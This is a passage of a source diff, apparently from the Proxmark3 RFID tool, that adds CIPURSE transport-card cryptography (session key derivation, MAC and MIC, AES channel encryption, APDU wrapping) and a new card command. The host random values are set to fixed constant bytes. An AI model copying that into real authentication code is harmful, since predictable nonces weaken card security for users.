memcpy(&dst[dstlen - srclen], src, srclen);
|
||||
else
|
||||
memcpy(dst, src, dstlen);
|
||||
}
|
||||
|
||||
static void bin_pad2(uint8_t *dst, size_t dstlen, uint8_t *src, size_t srclen) {
|
||||
memset(dst, 0, dstlen);
|
||||
uint8_t dbl[srclen * 2];
|
||||
memcpy(dbl, src, srclen);
|
||||
memcpy(&dbl[srclen], src, srclen);
|
||||
bin_pad(dst, dstlen, dbl, srclen * 2);
|
||||
}
|
||||
|
||||
static uint64_t rotateLeft48(uint64_t src) {
|
||||
uint64_t dst = src << 1;
|
||||
if (dst & 0x0001000000000000UL) {
|
||||
dst = dst | 1;
|
||||
dst = dst & 0x0000ffffffffffffUL;
|
||||
}
|
||||
return dst;
|
||||
}
|
||||
|
||||
static uint64_t computeNLM48(uint64_t x, uint64_t y) {
|
||||
uint64_t res = 0;
|
||||
|
||||
for (int i = 0; i < 48; i++) {
|
||||
res = rotateLeft48(res);
|
||||
if (res & 1)
|
||||
res = res ^ CIPURSE_POLY;
|
||||
y = rotateLeft48(y);
|
||||
if (y & 1)
|
||||
res = res ^ x;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
static void computeNLM(uint8_t *res, uint8_t *x, uint8_t *y) {
|
||||
uint64_t x64 = 0;
|
||||
uint64_t y64 = 0;
|
||||
|
||||
for (int i = 0; i < 6; i++) {
|
||||
x64 = (x64 << 8) | x[i];
|
||||
y64 = (y64 << 8) | y[i];
|
||||
}
|
||||
|
||||
uint64_t res64 = computeNLM48(x64, y64);
|
||||
|
||||
for (int i = 0; i < 6; i++) {
|
||||
res[5 - i] = res64 & 0xff;
|
||||
res64 = res64 >> 8;
|
||||
}
|
||||
}
|
||||
|
||||
static void CipurseCGenerateK0AndCp(CipurseContext *ctx) {
|
||||
uint8_t temp1[CIPURSE_AES_KEY_LENGTH] = {0};
|
||||
uint8_t temp2[CIPURSE_AES_KEY_LENGTH] = {0};
|
||||
uint8_t kp[CIPURSE_SECURITY_PARAM_N] = {0};
|
||||
|
||||
// session key derivation function
|
||||
// kP := NLM(EXT(kID), rP)
|
||||
// k0 := AES(key=PAD2(kP) XOR PAD(rT),kID) XOR kID
|
||||
bin_ext(temp1, CIPURSE_SECURITY_PARAM_N, ctx->key, CIPURSE_AES_KEY_LENGTH);
|
||||
computeNLM(kp, ctx->rP, temp1); // param sizes == 6 bytes
|
||||
bin_pad2(temp1, CIPURSE_AES_KEY_LENGTH, kp, CIPURSE_SECURITY_PARAM_N);
|
||||
bin_pad(temp2, CIPURSE_AES_KEY_LENGTH, ctx->rT, CIPURSE_SECURITY_PARAM_N);
|
||||
bin_xor(temp1, temp2, CIPURSE_AES_KEY_LENGTH);
|
||||
|
||||
// session key K0
|
||||
aes_encode(NULL, temp1, ctx->key, ctx->k0, CIPURSE_AES_KEY_LENGTH);
|
||||
bin_xor(ctx->k0, ctx->key, CIPURSE_AES_KEY_LENGTH);
|
||||
|
||||
// first frame key k1, function to calculate k1,
|
||||
// k1 := AES(key = RP; k0 XOR RT) XOR (k0 XOR RT)
|
||||
memcpy(temp1, ctx->k0, CIPURSE_AES_KEY_LENGTH);
|
||||
bin_xor(temp1, ctx->RT, CIPURSE_AES_KEY_LENGTH);
|
||||
aes_encode(NULL, ctx->RP, temp1, temp2, CIPURSE_AES_KEY_LENGTH);
|
||||
bin_xor(temp1, temp2, CIPURSE_AES_KEY_LENGTH);
|
||||
memcpy(ctx->frameKey, temp1, CIPURSE_AES_KEY_LENGTH);
|
||||
|
||||
// function to caluclate cP := AES(key=k0, RP).
|
||||
// terminal response
|
||||
aes_encode(NULL, ctx->k0, ctx->RP, ctx->cP, CIPURSE_AES_KEY_LENGTH);
|
||||
}
|
||||
|
||||
static void CipurseCGenerateCT(uint8_t *k0, uint8_t *RT, uint8_t *CT) {
|
||||
aes_encode(NULL, k0, RT, CT, CIPURSE_AES_KEY_LENGTH);
|
||||
}
|
||||
|
||||
// from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/securemessaging/CipurseSecureMessage.java#L68
|
||||
void CipurseCGetKVV(uint8_t *key, uint8_t *kvv) {
|
||||
uint8_t res[16] = {0};
|
||||
aes_encode(NULL, key, AESData0, res, CIPURSE_AES_KEY_LENGTH);
|
||||
memcpy(kvv, res, CIPURSE_KVV_LENGTH);
|
||||
}
|
||||
|
||||
void CipurseCClearContext(CipurseContext *ctx) {
|
||||
if (ctx == NULL)
|
||||
return;
|
||||
|
||||
memset(ctx, 0, sizeof(CipurseContext));
|
||||
}
|
||||
|
||||
void CipurseCSetKey(CipurseContext *ctx, uint8_t keyId, uint8_t *key) {
|
||||
if (ctx == NULL)
|
||||
return;
|
||||
|
||||
CipurseCClearContext(ctx);
|
||||
|
||||
ctx->keyId = keyId;
|
||||
memcpy(ctx->key, key, member_size(CipurseContext, key));
|
||||
}
|
||||
|
||||
void CipurseCChannelSetSecurityLevels(CipurseContext *ctx, CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp) {
|
||||
ctx->RequestSecurity = req;
|
||||
ctx->ResponseSecurity = resp;
|
||||
}
|
||||
|
||||
bool isCipurseCChannelSecuritySet(CipurseContext *ctx) {
|
||||
return ((ctx->RequestSecurity != CPSNone) && (ctx->ResponseSecurity != CPSNone));
|
||||
}
|
||||
|
||||
void CipurseCSetRandomFromPICC(CipurseContext *ctx, uint8_t *random) {
|
||||
if (ctx == NULL)
|
||||
return;
|
||||
|
||||
memcpy(ctx->RP, random, member_size(CipurseContext, RP));
|
||||
memcpy(ctx->rP, random + member_size(CipurseContext, RP), member_size(CipurseContext, rP));
|
||||
}
|
||||
|
||||
void CipurseCSetRandomHost(CipurseContext *ctx) {
|
||||
memset(ctx->RT, 0x10, member_size(CipurseContext, RT));
|
||||
memset(ctx->rT, 0x20, member_size(CipurseContext, rT));
|
||||
}
|
||||
|
||||
uint8_t CipurseCGetSMI(CipurseContext *ctx, bool LePresent) {
|
||||
uint8_t res = LePresent ? 1 : 0;
|
||||
res = res | (CipurseCSecurityLevelEnc(ctx->ResponseSecurity) << 2);
|
||||
res = res | (CipurseCSecurityLevelEnc(ctx->RequestSecurity) << 6);
|
||||
return res;
|
||||
}
|
||||
|
||||
static void CipurseCFillAuthData(CipurseContext *ctx, uint8_t *authdata) {
|
||||
memcpy(authdata, ctx->cP, member_size(CipurseContext, cP));
|
||||
memcpy(&authdata[member_size(CipurseContext, cP)], ctx->RT, member_size(CipurseContext, RT));
|
||||
memcpy(&authdata[member_size(CipurseContext, cP) + member_size(CipurseContext, RT)], ctx->rT, member_size(CipurseContext, rT));
|
||||
}
|
||||
|
||||
void CipurseCAuthenticateHost(CipurseContext *ctx, uint8_t *authdata) {
|
||||
if (ctx == NULL)
|
||||
return;
|
||||
|
||||
CipurseCSetRandomHost(ctx);
|
||||
CipurseCGenerateK0AndCp(ctx);
|
||||
CipurseCGenerateCT(ctx->k0, ctx->RT, ctx->CT);
|
||||
|
||||
if (authdata != NULL)
|
||||
CipurseCFillAuthData(ctx, authdata);
|
||||
}
|
||||
|
||||
bool CipurseCCheckCT(CipurseContext *ctx, uint8_t *CT) {
|
||||
return (memcmp(CT, ctx->CT, CIPURSE_AES_KEY_LENGTH) == 0);
|
||||
}
|
||||
|
||||
void AddISO9797M2Padding(uint8_t *ddata, size_t *ddatalen, uint8_t *sdata, size_t sdatalen, size_t blocklen) {
|
||||
*ddatalen = sdatalen + 1;
|
||||
*ddatalen += blocklen - *ddatalen % blocklen;
|
||||
memset(ddata, 0, *ddatalen);
|
||||
memcpy(ddata, sdata, sdatalen);
|
||||
ddata[sdatalen] = ISO9797_M2_PAD_BYTE;
|
||||
}
|
||||
|
||||
size_t FindISO9797M2PaddingDataLen(uint8_t *data, size_t datalen) {
|
||||
for (int i = datalen; i > 0; i--) {
|
||||
if (data[i - 1] == 0x80)
|
||||
return i - 1;
|
||||
if (data[i - 1] != 0x00)
|
||||
return 0;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint16_t CipurseCComputeMICCRC(uint8_t *data, size_t len) {
|
||||
uint16_t initCRC = 0x6363;
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
uint8_t ch = data[i] ^ initCRC;
|
||||
ch = ch ^ ((ch << 4) & 0xff);
|
||||
initCRC = (initCRC >> 8) ^ (ch << 8) ^ (ch << 3) ^ (ch >> 4);
|
||||
}
|
||||
return initCRC;
|
||||
}
|
||||
|
||||
void CipurseCGenerateMIC(uint8_t *data, size_t datalen, uint8_t *mic) {
|
||||
size_t plen = 0;
|
||||
uint8_t pdata[datalen + CIPURSE_MIC_LENGTH];
|
||||
memset(pdata, 0, sizeof(pdata));
|
||||
|
||||
// 0x00 padding
|
||||
memcpy(pdata, data, datalen);
|
||||
plen = datalen;
|
||||
if (datalen % CIPURSE_MIC_LENGTH)
|
||||
plen += CIPURSE_MIC_LENGTH - datalen % CIPURSE_MIC_LENGTH;
|
||||
|
||||
// crc
|
||||
uint16_t crc1 = CipurseCComputeMICCRC(pdata, plen);
|
||||
|
||||
for (size_t i = 0; i < datalen; i += 4) {
|
||||
uint8_t tmp1 = pdata[i + 0];
|
||||
uint8_t tmp2 = pdata[i + 1];
|
||||
pdata[i + 0] = pdata[i + 2];
|
||||
pdata[i + 1] = pdata[i + 3];
|
||||
pdata[i + 2] = tmp1;
|
||||
pdata[i + 3] = tmp2;
|
||||
}
|
||||
|
||||
uint16_t crc2 = CipurseCComputeMICCRC(pdata, plen);
|
||||
if (mic != NULL) {
|
||||
mic[0] = crc2 >> 8;
|
||||
mic[1] = crc2 & 0xff;
|
||||
mic[2] = crc1 >> 8;
|
||||
mic[3] = crc1 & 0xff;
|
||||
}
|
||||
}
|
||||
|
||||
bool CipurseCCheckMIC(uint8_t *data, size_t datalen, uint8_t *mic) {
|
||||
uint8_t xmic[CIPURSE_MIC_LENGTH] = {0};
|
||||
|
||||
CipurseCGenerateMIC(data, datalen, xmic);
|
||||
return (memcmp(xmic, mic, CIPURSE_MIC_LENGTH) == 0);
|
||||
}
|
||||
|
||||
/* from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/crypto/CipurseCrypto.java#L521
|
||||
*
|
||||
* Encrypt/Decrypt the given data using ciphering mechanism explained the OPST.
|
||||
* Data should be already padded.
|
||||
*
|
||||
* hx-1 := ki , hx := AES( key = hx-1 ; q) XOR q, Cx := AES( key = hx ;
|
||||
* Dx ), hx+1 := AES( key = hx ; q ) XOR q, Cx+1 := AES( key = hx+1 ;
|
||||
* Dx+1 ), ... hy := AES( key = hy-1 ; q ) XOR q, Cy := AES( key = hy ;
|
||||
* Dy ), ki+1 := hy
|
||||
*/
|
||||
void CipurseCEncryptDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *dstdata, bool isEncrypt) {
|
||||
uint8_t hx[CIPURSE_AES_KEY_LENGTH] = {0};
|
||||
|
||||
if (datalen == 0 || datalen % CIPURSE_AES_KEY_LENGTH != 0)
|
||||
return;
|
||||
|
||||
memcpy(ctx->frameKeyNext, ctx->frameKey, CIPURSE_AES_KEY_LENGTH);
|
||||
int i = 0;
|
||||
while (datalen > i) {
|
||||
aes_encode(NULL, QConstant, ctx->frameKeyNext, hx, CIPURSE_AES_KEY_LENGTH);
|
||||
bin_xor(hx, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH);
|
||||
|
||||
if (isEncrypt)
|
||||
aes_encode(NULL, hx, &data[i], &dstdata[i], CIPURSE_AES_KEY_LENGTH);
|
||||
else
|
||||
aes_decode(NULL, hx, &data[i], &dstdata[i], CIPURSE_AES_KEY_LENGTH);
|
||||
|
||||
memcpy(ctx->frameKeyNext, hx, CIPURSE_AES_KEY_LENGTH);
|
||||
i += CIPURSE_AES_KEY_LENGTH;
|
||||
}
|
||||
memcpy(ctx->frameKey, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH);
|
||||
}
|
||||
|
||||
void CipurseCChannelEncrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *encdata, size_t *encdatalen) {
|
||||
uint8_t pdata[datalen + CIPURSE_AES_KEY_LENGTH];
|
||||
size_t pdatalen = 0;
|
||||
AddISO9797M2Padding(pdata, &pdatalen, data, datalen, CIPURSE_AES_KEY_LENGTH);
|
||||
|
||||
CipurseCEncryptDecrypt(ctx, pdata, pdatalen, encdata, true);
|
||||
*encdatalen = pdatalen;
|
||||
}
|
||||
|
||||
void CipurseCChannelDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *plaindata, size_t *plaindatalen) {
|
||||
CipurseCEncryptDecrypt(ctx, data, datalen, plaindata, false);
|
||||
*plaindatalen = FindISO9797M2PaddingDataLen(plaindata, datalen);
|
||||
}
|
||||
|
||||
/* from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/crypto/CipurseCrypto.java#L473
|
||||
*
|
||||
* Generate OSPT MAC on the given input data.
|
||||
* Data should be already padded.
|
||||
*
|
||||
* Calculation of Mi and ki+1: hx := ki , hx+1 := AES( key = hx ; Dx )
|
||||
* XOR Dx , hx+2 := AES( key = hx+1 ; Dx+1 ) XOR Dx+1, hx+3 := AES( key =
|
||||
* hx+2 ; Dx+2 ) XOR Dx+2, ... hy+1 := AES( key = hy ; Dy ) XOR Dy, ki+1 :=
|
||||
* hy+1 M'i := AES( key = ki ; ki+1 ) XOR ki+1, Mi := m LS bits of M'i = (
|
||||
* (M'i )0, (M'i )1, ..., (M'i )m-1)
|
||||
*/
|
||||
void CipurseCGenerateMAC(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) {
|
||||
uint8_t temp[CIPURSE_AES_KEY_LENGTH] = {0};
|
||||
|
||||
memcpy(ctx->frameKeyNext, ctx->frameKey, CIPURSE_AES_KEY_LENGTH);
|
||||
int i = 0;
|
||||
while (datalen > i) {
|
||||
aes_encode(NULL, ctx->frameKeyNext, &data[i], temp, CIPURSE_AES_KEY_LENGTH);
|
||||
bin_xor(temp, &data[i], CIPURSE_AES_KEY_LENGTH);
|
||||
memcpy(ctx->frameKeyNext, temp, CIPURSE_AES_KEY_LENGTH);
|
||||
i += CIPURSE_AES_KEY_LENGTH;
|
||||
}
|
||||
|
||||
aes_encode(NULL, ctx->frameKey, ctx->frameKeyNext, temp, CIPURSE_AES_KEY_LENGTH);
|
||||
bin_xor(temp, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH);
|
||||
memcpy(ctx->frameKey, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH);
|
||||
if (mac != NULL)
|
||||
memcpy(mac, temp, CIPURSE_MAC_LENGTH);
|
||||
}
|
||||
|
||||
void CipurseCCalcMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) {
|
||||
uint8_t pdata[datalen + CIPURSE_AES_KEY_LENGTH];
|
||||
size_t pdatalen = 0;
|
||||
AddISO9797M2Padding(pdata, &pdatalen, data, datalen, CIPURSE_AES_KEY_LENGTH);
|
||||
CipurseCGenerateMAC(ctx, pdata, pdatalen, mac);
|
||||
}
|
||||
|
||||
bool CipurseCCheckMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) {
|
||||
uint8_t xmac[CIPURSE_MAC_LENGTH] = {0};
|
||||
CipurseCCalcMACPadded(ctx, data, datalen, xmac);
|
||||
return (memcmp(mac, xmac, CIPURSE_MAC_LENGTH) == 0);
|
||||
}
|
||||
|
||||
static void CipurseCAPDUMACEncode(CipurseContext *ctx, sAPDU *apdu, uint8_t originalLc, uint8_t *data, size_t *datalen) {
|
||||
data[0] = apdu->CLA;
|
||||
data[1] = apdu->INS;
|
||||
data[2] = apdu->P1;
|
||||
data[3] = apdu->P2;
|
||||
data[4] = apdu->Lc;
|
||||
*datalen = 5 + apdu->Lc;
|
||||
|
||||
if (ctx->RequestSecurity == CPSMACed || ctx->RequestSecurity == CPSEncrypted)
|
||||
*datalen = 5 + originalLc;
|
||||
memcpy(&data[5], apdu->data, *datalen);
|
||||
}
|
||||
|
||||
void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, uint8_t *dstdatabuf, bool includeLe, uint8_t Le) {
|
||||
uint8_t mac[CIPURSE_MAC_LENGTH] = {0};
|
||||
uint8_t buf[260] = {0};
|
||||
size_t buflen = 0;
|
||||
|
||||
memcpy(dstapdu, srcapdu, sizeof(sAPDU));
|
||||
|
||||
if (isCipurseCChannelSecuritySet(ctx) == false)
|
||||
return;
|
||||
|
||||
dstapdu->CLA |= 0x04;
|
||||
dstapdu->data = dstdatabuf;
|
||||
dstapdu->data[0] = CipurseCGetSMI(ctx, includeLe);
|
||||
dstapdu->Lc++;
|
||||
memcpy(&dstdatabuf[1], srcapdu->data, srcapdu->Lc);
|
||||
if (includeLe) {
|
||||
dstapdu->data[dstapdu->Lc] = Le;
|
||||
dstapdu->Lc++;
|
||||
}
|
||||
uint8_t originalLc = dstapdu->Lc;
|
||||
|
||||
switch (ctx->RequestSecurity) {
|
||||
case CPSNone:
|
||||
break;
|
||||
case CPSPlain:
|
||||
CipurseCAPDUMACEncode(ctx, dstapdu, originalLc, buf, &buflen);
|
||||
CipurseCCalcMACPadded(ctx, buf, buflen, NULL);
|
||||
break;
|
||||
case CPSMACed:
|
||||
dstapdu->Lc += CIPURSE_MAC_LENGTH;
|
||||
CipurseCAPDUMACEncode(ctx, dstapdu, originalLc, buf, &buflen);
|
||||
CipurseCCalcMACPadded(ctx, buf, buflen, mac);
|
||||
memcpy(&dstdatabuf[dstapdu->Lc - CIPURSE_MAC_LENGTH], mac, CIPURSE_MAC_LENGTH);
|
||||
break;
|
||||
case CPSEncrypted:
|
||||
dstapdu->Lc = srcapdu->Lc + CIPURSE_MIC_LENGTH;
|
||||
dstapdu->Lc += CIPURSE_AES_BLOCK_LENGTH - dstapdu->Lc % CIPURSE_AES_BLOCK_LENGTH + 1; // 1 - SMI
|
||||
if (includeLe)
|
||||
dstapdu->Lc++;
|
||||
|
||||
CipurseCAPDUMACEncode(ctx, dstapdu, originalLc, buf, &buflen);
|
||||
CipurseCGenerateMIC(buf, buflen, mac);
|
||||
buf[0] = dstapdu->CLA;
|
||||
buf[1] = dstapdu->INS;
|
||||
buf[2] = dstapdu->P1;
|
||||
buf[3] = dstapdu->P2;
|
||||
memcpy(&buf[4], srcapdu->data, srcapdu->Lc);
|
||||
memcpy(&buf[4 + srcapdu->Lc], mac, CIPURSE_MIC_LENGTH);
|
||||
//PrintAndLogEx(INFO, "data plain[%d]: %s", 4 + srcapdu->Lc + CIPURSE_MIC_LENGTH, sprint_hex(buf, 4 + srcapdu->Lc + CIPURSE_MIC_LENGTH));
|
||||
CipurseCChannelEncrypt(ctx, buf, 4 + srcapdu->Lc + CIPURSE_MIC_LENGTH, &dstdatabuf[1], &buflen);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void CipurseCAPDURespDecode(CipurseContext *ctx, uint8_t *srcdata, size_t srcdatalen, uint8_t *dstdata, size_t *dstdatalen, uint16_t *sw) {
|
||||
uint8_t buf[260] = {0};
|
||||
size_t buflen = 0;
|
||||
uint8_t micdata[260] = {0};
|
||||
size_t micdatalen = 0;
|
||||
|
||||
if (dstdatalen != NULL)
|
||||
*dstdatalen = 0;
|
||||
if (sw != NULL)
|
||||
*sw = 0;
|
||||
|
||||
if (srcdatalen < 2)
|
||||
return;
|
||||
|
||||
srcdatalen -= 2;
|
||||
uint16_t xsw = srcdata[srcdatalen] * 0x0100 + srcdata[srcdatalen + 1];
|
||||
if (sw)
|
||||
*sw = xsw;
|
||||
|
||||
if (isCipurseCChannelSecuritySet(ctx) == false) {
|
||||
memcpy(dstdata, srcdata, srcdatalen);
|
||||
if (dstdatalen != NULL)
|
||||
*dstdatalen = srcdatalen;
|
||||
return;
|
||||
}
|
||||
|
||||
switch (ctx->ResponseSecurity) {
|
||||
case CPSNone:
|
||||
break;
|
||||
case CPSPlain:
|
||||
memcpy(buf, srcdata, srcdatalen);
|
||||
buflen = srcdatalen;
|
||||
memcpy(&buf[buflen], &srcdata[srcdatalen], 2);
|
||||
buflen += 2;
|
||||
CipurseCCalcMACPadded(ctx, buf, buflen, NULL);
|
||||
|
||||
memcpy(dstdata, srcdata, srcdatalen);
|
||||
if (dstdatalen != NULL)
|
||||
*dstdatalen = srcdatalen;
|
||||
break;
|
||||
case CPSMACed:
|
||||
if (srcdatalen < CIPURSE_MAC_LENGTH)
|
||||
return;
|
||||
|
||||
buflen = srcdatalen - CIPURSE_MAC_LENGTH;
|
||||
memcpy(buf, srcdata, buflen);
|
||||
memcpy(&buf[buflen], &srcdata[srcdatalen], 2);
|
||||
buflen += 2;
|
||||
|
||||
srcdatalen -= CIPURSE_MAC_LENGTH;
|
||||
if (CipurseCCheckMACPadded(ctx, buf, buflen, &srcdata[srcdatalen]) == false) {
|
||||
PrintAndLogEx(WARNING, "APDU MAC is not valid!");
|
||||
}
|
||||
memcpy(dstdata, srcdata, srcdatalen);
|
||||
if (dstdatalen != NULL)
|
||||
*dstdatalen = srcdatalen;
|
||||
break;
|
||||
case CPSEncrypted:
|
||||
CipurseCChannelDecrypt(ctx, srcdata, srcdatalen, buf, &buflen);
|
||||
//PrintAndLogEx(INFO, "data plain[%d]: %s", buflen, sprint_hex(buf, buflen));
|
||||
|
||||
micdatalen = buflen - 2 - CIPURSE_MIC_LENGTH;
|
||||
memcpy(micdata, buf, buflen);
|
||||
memcpy(&micdata[micdatalen], &buf[buflen - 2], 2);
|
||||
micdatalen += 2;
|
||||
|
||||
if (CipurseCCheckMIC(micdata, micdatalen, &buf[micdatalen - 2]) == false) {
|
||||
PrintAndLogEx(ERR, "APDU response MIC is not valid!");
|
||||
}
|
||||
|
||||
memcpy(dstdata, buf, micdatalen - 2);
|
||||
if (dstdatalen != NULL)
|
||||
*dstdatalen = micdatalen - 2;
|
||||
if (sw)
|
||||
*sw = micdata[micdatalen - 2] * 0x0100 + micdata[micdatalen - 1];
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
86
client/src/cipurse/cipursecrypto.h
Normal file
86
client/src/cipurse/cipursecrypto.h
Normal file
|
@ -0,0 +1,86 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2021 Merlok
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// CIPURSE crypto primitives
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#ifndef __CIPURSECRYPTO_H__
|
||||
#define __CIPURSECRYPTO_H__
|
||||
|
||||
#include "common.h"
|
||||
#include "iso7816/apduinfo.h" // sAPDU
|
||||
|
||||
#define CIPURSE_KVV_LENGTH 4
|
||||
#define CIPURSE_AES_KEY_LENGTH 16
|
||||
#define CIPURSE_AES_BLOCK_LENGTH 16
|
||||
#define CIPURSE_SECURITY_PARAM_N 6
|
||||
#define CIPURSE_MAC_LENGTH 8
|
||||
#define CIPURSE_MIC_LENGTH 4
|
||||
#define CIPURSE_POLY 0x35b088cce172UL
|
||||
#define ISO9797_M2_PAD_BYTE 0x80
|
||||
|
||||
#define member_size(type, member) sizeof(((type *)0)->member)
|
||||
|
||||
typedef enum {
|
||||
CPSNone,
|
||||
CPSPlain,
|
||||
CPSMACed,
|
||||
CPSEncrypted
|
||||
} CipurseChannelSecurityLevel;
|
||||
|
||||
typedef struct CipurseContextS {
|
||||
uint8_t keyId;
|
||||
uint8_t key[CIPURSE_AES_KEY_LENGTH];
|
||||
|
||||
uint8_t RP[CIPURSE_AES_KEY_LENGTH];
|
||||
uint8_t rP[CIPURSE_SECURITY_PARAM_N];
|
||||
uint8_t RT[CIPURSE_AES_KEY_LENGTH];
|
||||
uint8_t rT[CIPURSE_SECURITY_PARAM_N];
|
||||
|
||||
uint8_t k0[CIPURSE_AES_KEY_LENGTH];
|
||||
uint8_t cP[CIPURSE_AES_KEY_LENGTH];
|
||||
uint8_t CT[CIPURSE_AES_KEY_LENGTH];
|
||||
|
||||
uint8_t frameKey[CIPURSE_AES_KEY_LENGTH];
|
||||
uint8_t frameKeyNext[CIPURSE_AES_KEY_LENGTH];
|
||||
|
||||
CipurseChannelSecurityLevel RequestSecurity;
|
||||
CipurseChannelSecurityLevel ResponseSecurity;
|
||||
} CipurseContext;
|
||||
|
||||
uint8_t CipurseCSecurityLevelEnc(CipurseChannelSecurityLevel lvl);
|
||||
|
||||
void CipurseCClearContext(CipurseContext *ctx);
|
||||
void CipurseCSetKey(CipurseContext *ctx, uint8_t keyId, uint8_t *key);
|
||||
void CipurseCSetRandomFromPICC(CipurseContext *ctx, uint8_t *random);
|
||||
void CipurseCSetRandomHost(CipurseContext *ctx);
|
||||
uint8_t CipurseCGetSMI(CipurseContext *ctx, bool LePresent);
|
||||
|
||||
void CipurseCAuthenticateHost(CipurseContext *ctx, uint8_t *authdata);
|
||||
bool CipurseCCheckCT(CipurseContext *ctx, uint8_t *CT);
|
||||
|
||||
void CipurseCChannelSetSecurityLevels(CipurseContext *ctx, CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp);
|
||||
bool isCipurseCChannelSecuritySet(CipurseContext *ctx);
|
||||
|
||||
void AddISO9797M2Padding(uint8_t *ddata, size_t *ddatalen, uint8_t *sdata, size_t sdatalen, size_t blocklen);
|
||||
size_t FindISO9797M2PaddingDataLen(uint8_t *data, size_t datalen);
|
||||
|
||||
void CipurseCGenerateMAC(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac);
|
||||
void CipurseCCalcMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac);
|
||||
bool CipurseCCheckMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac);
|
||||
void CipurseCGenerateMIC(uint8_t *data, size_t datalen, uint8_t *mic);
|
||||
bool CipurseCCheckMIC(uint8_t *data, size_t datalen, uint8_t *mic);
|
||||
void CipurseCEncryptDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *dstdata, bool isEncrypt);
|
||||
void CipurseCChannelEncrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *encdata, size_t *encdatalen);
|
||||
void CipurseCChannelDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *plaindata, size_t *plaindatalen);
|
||||
void CipurseCGetKVV(uint8_t *key, uint8_t *kvv);
|
||||
|
||||
void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, uint8_t *dstdatabuf, bool includeLe, uint8_t Le);
|
||||
void CipurseCAPDURespDecode(CipurseContext *ctx, uint8_t *srcdata, size_t srcdatalen, uint8_t *dstdata, size_t *dstdatalen, uint16_t *sw);
|
||||
|
||||
|
||||
#endif /* __CIPURSECRYPTO_H__ */
|
|
@ -33,6 +33,7 @@
|
|||
#include "cmdhftopaz.h" // TOPAZ
|
||||
#include "cmdhffelica.h" // ISO18092 / FeliCa
|
||||
#include "cmdhffido.h" // FIDO authenticators
|
||||
#include "cmdhfcipurse.h" // CIPURSE transport cards
|
||||
#include "cmdhfthinfilm.h" // Thinfilm
|
||||
#include "cmdhflto.h" // LTO-CM
|
||||
#include "cmdhfcryptorf.h" // CryptoRF
|
||||
|
@ -128,6 +129,15 @@ int CmdHFSearch(const char *Cmd) {
|
|||
}
|
||||
}
|
||||
|
||||
PROMPT_CLEARLINE;
|
||||
PrintAndLogEx(INPLACE, " Searching for Cipurse tag...");
|
||||
if (IfPm3Iso14443a()) {
|
||||
if (CheckCardCipurse()) {
|
||||
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Cipurse tag") " found\n");
|
||||
res = PM3_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
// 14b is the longest test
|
||||
PROMPT_CLEARLINE;
|
||||
PrintAndLogEx(INPLACE, " Searching for ISO14443-B tag...");
|
||||
|
@ -399,6 +409,7 @@ static command_t CommandTable[] = {
|
|||
{"14b", CmdHF14B, AlwaysAvailable, "{ ISO14443B RFIDs... }"},
|
||||
{"15", CmdHF15, AlwaysAvailable, "{ ISO15693 RFIDs... }"},
|
||||
// {"cryptorf", CmdHFCryptoRF, AlwaysAvailable, "{ CryptoRF RFIDs... }"},
|
||||
{"cipurse", CmdHFCipurse, AlwaysAvailable, "{ Cipurse transport Cards... }"},
|
||||
{"epa", CmdHFEPA, AlwaysAvailable, "{ German Identification Card... }"},
|
||||
{"emrtd", CmdHFeMRTD, AlwaysAvailable, "{ Machine Readable Travel Document... }"},
|
||||
{"felica", CmdHFFelica, AlwaysAvailable, "{ ISO18092 / FeliCa RFIDs... }"},
|
||||
|
|
|
@ -20,6 +20,7 @@
|
|||
#include "cliparser.h"
|
||||
#include "cmdhfmf.h"
|
||||
#include "cmdhfmfu.h"
|
||||
#include "iso7816/iso7816core.h"
|
||||
#include "emv/emvcore.h"
|
||||
#include "ui.h"
|
||||
#include "crc16.h"
|
||||
|
@ -28,7 +29,7 @@
|
|||
#include "cmdhf.h" // handle HF plot
|
||||
#include "cliparser.h"
|
||||
#include "protocols.h" // definitions of ISO14A/7816 protocol, MAGIC_GEN_1A
|
||||
#include "emv/apduinfo.h" // GetAPDUCodeDescription
|
||||
#include "iso7816/apduinfo.h" // GetAPDUCodeDescription
|
||||
#include "nfc/ndef.h" // NDEFRecordsDecodeAndPrint
|
||||
#include "cmdnfc.h" // print_type4_cc_info
|
||||
|
